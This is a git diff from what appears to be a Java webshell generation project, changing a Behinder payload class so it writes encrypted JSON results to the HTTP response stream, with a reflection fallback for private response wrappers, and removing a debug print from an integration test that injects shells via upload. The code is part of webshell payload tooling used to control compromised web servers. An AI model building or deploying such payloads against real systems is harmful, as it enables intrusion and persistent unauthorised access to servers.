diff --git a/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java b/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java index 8ba097a2..ab6f2fd3 100644 --- a/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java +++ b/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java @@ -32,10 +32,15 @@ public class Test { result.put("status", "success"); } finally { try { - // org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private - Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream"); - getOutputStreamMethod.setAccessible(true); - Object so = getOutputStreamMethod.invoke(this.Response); + Object so = null; + try { + so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); + } catch (Exception e) { + // org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private + Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream"); + getOutputStreamMethod.setAccessible(true); + so = getOutputStreamMethod.invoke(this.Response); + } Method write = so.getClass().getMethod("write", byte[].class); String jsonStr = this.buildJson(result, true); write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8"))); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index a42e4b17..74023c77 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -65,7 +65,6 @@ public class ShellAssertionTool { } public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { - System.out.println(content); switch (packer) { case JSP -> { String uploadEntry = url + "/upload";